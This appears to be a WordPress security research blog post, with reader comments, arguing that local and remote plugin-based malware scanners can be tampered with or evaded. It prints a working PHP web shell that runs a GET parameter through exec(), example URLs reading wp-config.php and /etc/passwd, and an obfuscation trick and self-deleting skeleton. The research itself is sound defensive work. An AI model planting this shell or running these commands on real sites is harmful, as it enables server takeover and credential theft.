Malware Madness 1/2: Why everything you know about your WordPress Malware Scanner is wrong

| in


Introduction

Malware scanning and removal have traditionally been focal points in the WordPress security ecosystem. Users have placed their trust in Malware Scanning plugins to keep sites secure.

Yet, this post challenges a crucial assumption:

The conventional method of plugin-based malware scanning in WordPress is flawed and conceptually impossible.

Our research doesn’t aim to critique scanners’ ability to detect sophisticated types of malware. Instead, we’ll expose systemic issues that can make even the most blatant malware undetectable under certain circumstances.

Snicco, WeWatchYourWebsite, and GridPane co-produced this research, part of which involved creating demonstrative malware that would, without a doubt, elevate the skill level of the average “WordPress hacker.”

However, it’s important to note that our exploits are neither revolutionary nor exceedingly difficult; they’re already being exploited in the wild!

Given the sensitive nature of this topic, we partnered with Patchstack to act as an independent verifying authority with access to our demonstration malware.

An Illusion of Safety: The current state of WordPress Malware Scanning

In the WordPress ecosystem, the majority of malware scanners fall into two categories:

Local Scanning Plugins:
The traditional approach; these plugins operate directly on your WordPress website, performing all their functions on the server where the website is hosted.
Examples include WordFence and NinjaScanner.

Remote Scanning Plugins:
A newer approach; these plugins communicate between your WordPress site and a corresponding remote application. Rather than directly processing data on your server, they send local file contents via an HTTP API for off-site scanning.
Examples include MalCare and Virusdie.

In the forthcoming sections, we will dissect the inherent shortcomings of both local and remote scanners.

Problems and Limitations of Local Malware Scanners

Local malware scanners have been the traditional guard dogs of WordPress security. They scan your site’s files and databases directly on your server.
The scanning is performed in PHP code at the plugin level, and most scanners typically rely on searching file contents for string literals that are deemed suspicious such as base64decode, exec, or eval.

Popular plugins that perform Malware Scanning locally are:

  • WordFence
  • NinjaScanner
  • WPMU Defender
  • All-In-One Security (Free version, file change detection)

Problem 1: Scanner Modification – A Fundamental Flaw

A fundamental flaw arises with local scanners due to their shared operational environment. Both the Malware Scanner and the Malware run within the same PHP process. This means malware can manipulate or tamper with the scanner’s functionality – an equivalent scenario would be a defendant serving as their own judge in a court trial.

Malware can exploit this vulnerability with varying degrees of sophistication:

  • The most crude and easily noticeable method involves outright disabling your security plugin.
  • A slightly more cunning approach could involve the malware adding itself to the scanner’s whitelist.
  • More sophisticated methods can alter scanner functionality without leaving any perceptible trace. The only surefire way to detect such modification is through code analysis by a human.

“For clear ethical reasons, we don’t share detailed instructions on how it is done. Yet, it’s worth noting that similar evasion techniques have been reported to be seen in the wild.”

Oliver Sild, CEO Patchstack

We illustrate this vulnerability using a simple, demonstrative piece of malware installed as a ‘must-use’ plugin. Every half-decent Malware Scanner will flag this code:

<?php
// wp-content/mu-plugins/extremly-obvious.php

// NEVER RUN THIS CODE ON A PUBLICALLY ACCESIBLE SITE.
if(isset($_GET['evil_command'])) {
    
    exec($_GET['evil_command'], $output);
    
    foreach ((array) $output as $line) {
        echo "$line";
        echo "\n";
    }
    
    die();
}

This Malware performs the following actions:

  • If a request contains an ‘evil_command’ query parameter, it executes the value of this parameter as a system command.
  • After execution, it displays the command result and terminates the process.

Visiting https://malware-madness.test?evil_command=pwd
will output the current working directory of PHP.

Visiting: https://malware-madness.test/?evil_command=cat%20wp-config.php will output the site’s wp-config.php file.

As expected, local Malware Scanners readily flag this file.

Here we demonstrate with WordFence Free and Ninja Scanner. Although we use these two for illustration, the same results can be reproduced with any local Malware Scanner.

WordFence and NinjaScanner just happen to include Malware Scanning in their free versions found on wordpress.org.

WordFence 7.9.2:

WordFence has no trouble flagging this Malware.

NinjaScanner 3.0.12

NinjaScanner has no trouble flagging this Malware.

After modifying our demonstration malware to include a proof-of-concept exploit kit, the scanners no longer detect it. Notice the last line where we load exploit kits for common scanners.

<?php
// wp-content/mu-plugins/extremly-obvious.php

// NEVER RUN THIS CODE ON A PUBLICALLY ACCESIBLE SITE.
if(isset($_GET['evil_command'])) {
    
    exec($_GET['evil_command'], $output);
    
    foreach ((array) $output as $line) {
        echo "$line";
        echo "\n";
    }
    
    die();
}

// Load exploit kits for common plugins.
require_once __DIR__.'/exploit-kits.php';

Click here to see how you can get access to the source code of the exploit kits

WordFence 7.9.2:

WordFence no longer detects the used Malware.

NinjaScanner 3.0.12

NinjaScanner no longer detects the used Malware.

“The exploit kits utilized here consist of around 10 lines of code per plugin, resulting in the Malware Scanner’s inability to detect the active Malware. Our team has verified this issue as described.”

Oliver Sild, CEO Patchstack

Problem 2: Rendered/Obfuscated Malware – The Blind Spot

“Rendered” malware, which dynamically constructs itself using PHP, presents an additional layer of complexity for local malware scanners. This malware generates its harmful payload dynamically, making it indistinguishable from benign code during static analysis.

For clarification, this is what we are referring to:

<?php

$func = 'v'.'a'.'r_';
$func .= 'd'.'u'.'m'.'p';

$func('Hello World'); // Prints: string(11) 'Hello World'

The inherent challenge in detecting rendered malware ties into what we discussed earlier: local scanners tend to use regex-based (preg_match) or token-based searches within the file contents. These scanners won’t pick up if dubious strings or function names are not directly found in the code but are constructed at runtime.

Due to PHP’s nature, it’s impossible to sandbox files within a plugin to evaluate the potentially harmful code rendered malware may produce. Essentially, to accomplish this, you would need to create a PHP parser within PHP – a task that goes way beyond the scope of a WordPress plugin.

We are now removing the obvious malware example and the exploit kits and replacing them with a basic obfuscated variation of our initial demonstration malware.

The obfuscation is only one level “deep.”
Each additional level of obfuscation makes it harder to detect the Malware.

We will not be showing the obfuscated Malware. See how you can get access.

The obfuscated malware performs the same steps as before. The only difference is that the system command’s output is now saved to a log file instead of being output.

Visiting: https://malware-madness.test/?evil_command=cat%20/etc/passwd will result in this log file being created at https://malware-madness.test/wp-content/custom.log

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin

We now re-run both scanners:

WordFence 7.9.2:

WordFence can not detect basic obfuscation.

NinjaScanner 3.0.12

NinjaScanner can not detect basic obfuscation.

“We have verified the use of self-generating malicious code in this research. This type of malware indeed remains undetected by traditional scanning methods. The examples provided during this investigation underscore the limitations of local scanners when faced with dynamically created malware.”

Oliver Sild, CEO Patchstack

Problem 3: In-Process Malware – The Evasive Threat

The final significant issue with local scanners lies in their inability to detect what we refer to as “in-process” malware. In-process malware is a malicious script that executes once and then deletes itself from the system, leaving no trace of its presence for a malware scanner to detect.

The only way a local scanner could catch such malware is by an extreme coincidence, where both the malware and the scanner run at the exact millisecond.

Here are a few examples of actions an in-process malware might perform:

  1. Sending a bulk spam email to your users.
  2. Exporting sensitive data such as user credentials.
  3. Inserting a malicious script into your database.
  4. Turn your server into a Bitcoin Miner.

In-process malware generally follows this structure (we’re intentionally providing minimal information here):

<?php

@unlink(__FILE__); // Self-Removal

// Perform Malicious action

There is no point in demonstrating that a local scanner can’t detect this type of malware. It’s a fundamentally impossible task in a PHP-based WordPress plugin. You’d need to be able to monitor all system processes to catch this attack.

Assessing the Promises: Do Remote Scanners Truly Deliver?

Within the diverse landscape of WordPress security plugins, a particular category has been attracting many users: remote malware scanners. These are popularly represented by:

  • MalCare
  • All-In-One Security (Pro)
  • Virusdie
  • Sucuri
  • JetPack

Unlike their local counterparts that operate solely within your WordPress site, remote scanners utilize an offsite application to perform their duties.

They (almost always) communicate with your site through a plugin and come with a list of compelling advantages over local scanners:

  • Enhanced Performance: One of the biggest selling points for remote scanners is their performance benefits. IF (!) implemented correctly, these tools offload the resource-intensive scanning process to an external application, sparing your site from performance degradation during the scan.
  • Sandbox Environments: Remote scanners offer the advantage of a clean separation between the malware analysis and the malware’s target execution runtime.
  • Proprietary Detection Algorithms: Another strength of remote scanners is their closed-source malware detection algorithms. By keeping their detection mechanisms secret, these tools reduce the risk of attackers reverse-engineering the scanner’s defenses.

With all their touted benefits, you might wonder why remote scanners are under scrutiny in this research.

Sounds intriguing?

Brace yourself for some eye-opening revelations in the next section…

Peeling Back the Layers: Understanding the Inner Workings of Remote Scanners

The crux of a remote scanner lies in the two-part system it operates: a plugin on the WordPress site and a remote application hosted by the vendor on their servers. These two components are linked via an API key, making the plugin the pivotal glue for communication.

The plugin gathers all necessary information from your WordPress site, including files, database entries, and configuration settings. This data is then sent through the API to the remote application. Here, on the vendor’s servers, the heavy-lifting happens: your site’s data is scrutinized for potential security threats, abnormalities, or signs of hacking.

Below is a perfect analogy:

The entire process can be likened to a detective (the remote application) investigating a crime scene (your WordPress site). The local officer (the plugin) gathers evidence (your site’s data) and passes it on to the detective, who then examines the evidence in the privacy of their office. The detective has all the tools, time, and skills to uncover what happened at the crime scene without disturbing or impacting the site itself.

However, just like any investigation, it’s crucial that the officer delivers all evidence, untouched, to the detective. The entire investigation could be compromised if there’s a leak or tampering in the transfer. Sometimes, a suspect (the malware) may attempt to manipulate or bribe the local officer to destroy or tamper with the evidence.

The detective must navigate this treacherous landscape of suspect interference to ensure the integrity of the investigation.

We’ll delve into these challenges in the upcoming sections.

Disclaimer regarding testing remote scanners!

Regrettably, the terms of service for most vendors prohibit us and other researchers from installing demonstration malware on OUR OWN SITES to evaluate the detection capabilities of their scanners.

💩💩💩

We believe this hampers the transparency and openness crucial in the security sector.

Nevertheless, if any vendor is open to an unbiased evaluation and willing to provide written permission for testing, we would be eager to perform such tests (and provide you with detailed feedback and suggestions).

For now, we’ll focus on explaining fundamental aspects that apply to the entire concept of plugin-based remote scanning. As always, these are our views based on our understanding and experience in WordPress security.

The First Hurdle: Data Tampering by Malware – Deception of the Local Plugin

We’ve already introduced the idea of modification or data tampering in our section on local scanners. The issues that plague local scanners also come into play with remote scanners.

Since the Malware and the plugin that communicates with the API of the remote service still run in the same environment/process, we are left with many of the same problems.

Malware can still exploit this vulnerability with varying degrees of sophistication:

  • The most crude and easily noticeable method involves outright disabling the local “communication” plugin.
  • A slightly more cunning approach could involve interception of the CURL requests the plugin sends to the remote service.
  • More sophisticated methods can still alter functionality without leaving any perceptible trace.

The only difference is the effort required to hide tampering. Achieving tampering/disruption is trivial.

At a high level of abstraction, all plugin + remote service scanners do something along the following lines (simplistic on purpose!):

// Gather website data
$data = gather_website_data();

// Send data to remote scanner
send_to_remote_scanner($data);

If malware manages to infiltrate your WordPress site, it could interfere with how this data is collected and transmitted. It might erase traces of its existence, modify critical information, or even add fake data that could mislead the remote application. It’s tampering with the evidence before it reaches the detective.

// Gather website data
$data = gather_website_data();

// Malware modifies the data
$data = malware_manipulates_data($data);

// Send manipulated data to remote scanner
send_to_remote_scanner($data);

Ultimately, the detective is not working with the original, untainted crime scene evidence but with altered data. This compromise can lead to false negatives, where a compromised site is reported as clean because the malware was able to hide its tracks successfully.

Please note that we are not providing concrete examples or in-depth descriptions of these mechanisms for ethical and security reasons.

“Data tampering can be achieved conceptually with the local plugin being a target of deception. We have received a proof of concept that clearly demonstrates this”

Oliver Sild, CEO Patchstack

The Second Hurdle: In-Process Malware – Crime Scenes without Evidence

Let’s recall the concept of in-process malware that we discussed in the local scanners section. Just as a brief recap, in-process malware is particularly crafty because it runs once and then completely removes itself.

The remote scanner’s methodology of monitoring the current state of your WordPress site becomes a significant limitation in this context. Like the local officer in our analogy, the plugin periodically communicates with the remote application, sending a snapshot of the site’s current state, typically in response to a ping from the remote service or initiated by user action.

However, what if the suspect (the malware) cleans the crime scene before the local officer arrives for inspection? If the malware is in-process and erases all traces of its operation after execution, then the local plugin has no evidence to report to the remote scanner during its routine check. This can result in the remote scanner not detecting a breach that has already occurred, leading to a false sense of security.

An overly simplified example:

<?php

// In-process malware operates and then removes itself.
in_process_malware_operates();

// Gather website data through user action.
$evidence = gather_website_data();

// Local officer arrives and finds no trace of the malware.
send_to_remote_scanner($evidence);

// In-process malware operates again and removes itself.
in_process_malware_operates();

// Gather website data through scheduled scan.
$evidence = gather_website_data();

// Local officer arrives and finds no trace of the malware. 
send_to_remote_scanner($evidence);

In this case, the remote scanner receives clean data and reports that everything is okay, even though an attack has indeed taken place.

As with local scanners, the remote scanning approach sufferers from the lack of real-time monitoring capabilities.

Access to Source Code: The Challenges and Our Approach

We’ve previously mentioned that, for security reasons, we cannot publicly provide source code access. This decision is driven by a desire to protect users and the broader WordPress community from the potential misuse of this information.

However, that doesn’t mean we’ve left this topic untouched. We’ve constructed a fully functioning Docker image, which exemplifies the problems we’ve been discussing. It was created under strict controls, ensuring all local evidence was thoroughly destroyed after creation.

Currently, the Docker image resides solely with Patchstack, with whom we have partnered to act as a verification source for this research.

“If you’re a security researcher or a vendor interested in understanding these issues more deeply, you can reach out to us at [email protected].

Oliver Sild, CEO Patchstack

How Common Are Tampered Malware Scanners In Reality?

WeWatchYourWebsite, one of the leading platforms tracking hacked WordPress websites, shared some eye-opening statistics:

“Over the last 60 days, 52,848 sites got hacked (through any means) with WordFence installed prior to infection. The installed Malware tampered with WordFence files in 14% of the cases (7,399).

Other popular services had even higher percentages; MalCare comming in at 22%, and VirusDie at 24%.”

Thomas Raef, CEO WeWatchYourWebsite

In addition, industry veteran Kathy Zant, who has extensive experience in the WordPress Security ecosystem, highlighted that this issue had been first observed way back in 2017.

“Over the course of about 18 months, I was cleaning WordPress sites for a well-known company in WordPress, removing malware from well over 2,000 sites during my tenure.

The earliest timeframe I saw this was in mid to late 2017. As I’m not cleaning sites anymore, I am not sure what the malware looks like these days, but I am sure it still exists. And there very well could be additional variants that perform similar actions, or even worse.”

Kathy Zant, zant.com

The Path Forward: Shifting Security Approaches

It’s true; what we’ve laid out here might sound daunting, even alarming. You may be skeptical, and that’s okay. The revelations in this research disrupt the conventional understanding of WordPress Malware Scanning, and we appreciate your open-mindedness in exploring these realities with us.

You might wonder what to do next or whether to uninstall your malware-scanning plugins.

Our answer?

Not so fast.

Remember, the average WordPress hacker is often ill-equipped, and plugin-based scanners (local & remote) can still provide some security against lower-level threats.

That said, if malware scanning & removal currently represents the bulk of your security stack, you might reconsider your approach.

A quick and surefire fix:

An immutable, read-only filesystem eliminates almost all threats of malware infection on a production site.

To our best knowledge, the following WordPress hosting companies offer this feature besides GridPane:

In retrospect, our research sheds light on the crucial fact that the current model of WordPress Malware Scanning is fundamentally flawed and conceptually an impossible task if plugins are involved.

It’s not about pointing fingers at individual services or plugins but rather acknowledging a systemic issue. The WordPress community needs to shift its security approach from detection to prevention while maintaining the importance of malware scanning to verify the efficacy of the “higher layers” of security.

We hope this research empowers you as a user, developer, or even a security vendor. Let’s collectively strive for a safer WordPress environment.

This research takes tremendous effort and is a labor of love from us to the WordPress community. We want to keep providing these insights at zero cost to you.

If you found this valuable, the best way you can support us is by sharing this content with your WordPress colleagues.

Start a discussion below in the comment section, ask questions, or share your insights – we’d love to hear from you.

Coming Soon: Malware Madness Part 2 – Unveiling Our Complete Insights for Building an Effective WordPress Malware Scanner

In Part 2 of our series, we will dive deeper into how we would build a malware scanner from the ground up to withstand the challenges described in this research.

We will not hold back on anything and spill all the secrets.

Receive exclusive previews and be the first to know when Malware Madness Part 2 is published.

Malware Madnesss Part 2: Preview and notifcation

10 responses

  1. Gorakh Sirsikar

    always amazing to read insights about WP, hosting and now security coming from GridPane and now Snicco. looking forward to learning more as you guys publish!

    1. Glad you liked it Gorakh!

  2. Dan Knauss

    Right on!

    Oliver’s last name is spelled “Sild,” however.

    Kudos to him and everyone else whose work went into this.

    1. Thanks, Dan!

      Oliver nor we caught this, haha.

  3. Ilia | CEO at Virusdie

    Man, that is probably a mistake, and you passed lot of inaccuracies not due to your fault… meanwhile, right almost from scratch here:

    “Rather than directly processing data on your server, they send local file contents via an HTTP API for off-site scanning.
    Examples include MalCare and Virusdie.”

    Probably, it would cool to re-check your data or things you declare first 🙂 Did you know Virusdie runs all the things right on client’s servers and Does not send files over the HTTPS API to Virusdie servers to check? 🙂

    That is literally declared: https://virusdie.com/about/ for many ears 🙂

    And thoughts about remote scanners/services and infections on sites to increase detection rates to reduce churn… or increase conversion rates… that looks like a fairy tale we heard many years ago 🙂 I’ve never heard about such cases for any top service provider as a minimum. So, probably, you trying to discover things on wrong tail. 🙂 Probably.

    Some other things I am sure you passed along that article could be much more roasted as well, with better accuracy… I believe.

    Anyway,
    Than more anti-malware services and software – than less malware and security issues -> than more calm for people around the world!

    So I personally wish all the best to your malware scanner/removal for WP!

    1. To our knowledge, Virusdie installs a .php file in the webroot for communication. And that php file is owned by the same system user as the rest of the WordPress installation (and potential Malware).

      If not over HTTP, how do you contact the site from your end?

      Feel free to correct this.

      We can’t follow you regarding the churn/conversion stuff. Please expound.

    2. From that very link, you just posted.

      “Virusdie connects to a user’s servers over HTTP/HTTPS using a unique sync file uploaded to the root directory of a user’s website. It lets us manage your website’s files in real time, right on your server, to save on band width. The sync file enables us to provide website antivirus (automatic malware removal) and real-time file management to you. The sync file also enables us to upload special software to your websites (Virusdie Website Firewall, a web application firewall) to protect them from online threats and attacks in real time. “

    3. Patrick

      In Calvin’s defense, you could see how these mentions of a “sync file” and how “Virusdie connects to a user’s servers over HTTP/HTTPS” could be misinterpreted to mean that you’re scanning the users files remotely.

      It’s clear now that that is not the case.

      So Calvin can rectify the mistake in this article by indicating that VirusDie does malware scanning insecurely at the local level and not remotely.

      But it seems that you agree with the overall big picture assertions of the article, specifically that people should seek out alternative malware remediation solutions.

      Makes sense.

    4. Dave Hilditch

      Nobody wants malware removal. When I studied Computer Science, there was an agreed principle that if your system has been hacked with malware, the only way to be truly safe was to rebuild your system.

      Rather than malware removal, I want hosts to implement a system where plugin updates occur in a sandbox and are then scanned for malware before deployment to the real server.

      Then malware ‘removal’ is never really required.

      If you care about malware, you should be moving toward the best architecture that supports your goals rather than sticking with an approach that is known to have flaws.

  4. Shaun Killian

    Looking forward to Part 2